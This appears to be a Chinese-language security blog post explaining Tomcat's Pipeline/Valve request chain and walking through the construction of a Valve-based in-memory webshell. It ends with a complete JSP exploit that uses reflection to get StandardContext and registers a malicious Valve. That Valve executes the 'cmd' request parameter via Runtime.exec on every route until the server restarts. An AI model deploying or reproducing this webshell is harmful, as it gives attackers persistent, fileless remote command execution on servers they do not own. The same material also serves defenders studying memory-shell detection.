0x01 什么是Valve

我们知道,tomcat是由连接器(Connector)和容器(Container)两部分组成。Connector主要作用是监听并且转换为socket请求,然后再交给Container处理,Container里有四类子容器,分别为Engine,Host,Context,Wrapper,这四种容器层层嵌套,我们需要将消息传递到最底层了Wrapper,也就是Servlet里,该怎么传递?

tomcat的管道机制

也称pipeline机制,pipeline就是管道,上面所说的四个容器都有自己的pipeline组件,每个Pipeline组件上至少会设定一个Valve(也就是阀门)我们可以把http请求比作在pipeline(管道)流淌的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。

Pipeline 中会有一个最基础的 Valve ,为basic Valve,在最末端执行

我们可以自己尝试写进去一个Valve

0x02 Valve内存马流程分析

Valve处理业务逻辑是通过调用重写的invoke方法来实现的,所以自定义一个Valve要继承ValveBase,在invoke方法里添加一些命令执行的代码,一个恶意的Valve就写好了。

package Valve;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.IOException;

public class MyValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("invoke被调用");
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}
}

了解管道机制后,我们知道pipeline里有多个Valve,最后一个为basicValve,有点像之前分析的Filter内存马里的FilterChain,新的Valve会顺序添加到basicValve的前面。关键是自己写的恶意的Valve怎么添加到这个链里。

将Valve添加到链中

pipeline提供了addValve方法,可以将新的Valve添加到链中,addValve 方法对应的实现类是 StandardPipeline,我们无法直接获取到,可以通过StandardContext简介获取

全局搜索Pipeline,有这样一个方法

我们跟进getPipeline方法

其实获取的就是StandardPipeline,所以思路就清晰了,我们可以通过反射来获取 StandardContext 上下文,然后利用StandardContext.getPipeline().addValve() 添加恶意的Valve

Valve的invoke调用

我们把断点下在 CoyoteAdapter#service方法中

这前面是对Request和Respone对象进行一些判断及创建的操作,不用管,直接往后调

connector就是所说的连接器,调用 getService 方法就是获取与它关联的服务

然后调用 getContainer().getPipeline()获取容器里的pipeline管道

也就是 StandardPipeline,调用getFirst 方法获取第一个Valve,跟进

没有添加任何Valve,就获取基础的Valve,调用它的invoke方法实现业务逻辑

然后继续调用后续的invoke方法。

0x03 编写exp

写一个恶意的Valve

通过反射获取StandardContext

通过StandardContext 获取StandardPipeline

调用StandardPipeline的addValve方法将Valve添加进去

今儿又知道一个获取 standardContext 的方法,这个代码更短

Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request request1 = (Request) req.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();

通过 ServletRequest 获取与当前请求相关联的 Servlet 上下文

然后就是获取StandardPipeline,调用addValve方法了

Pipeline pipeline = standardContext.getPipeline();
pipeline.addValve(new evalValve());

完整的exp:

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class evalValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("invoke被调用");
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}
}
%>
<%
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request request1 = (Request) req.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();

Pipeline pipeline = standardContext.getPipeline();

pipeline.addValve(new evalValve());
%>
</body>
</html>

接下来任何路由都可以执行命令。重启服务器后即可清除内存马。

相关链接:https://www.cnblogs.com/54chensongxia/p/13221789.html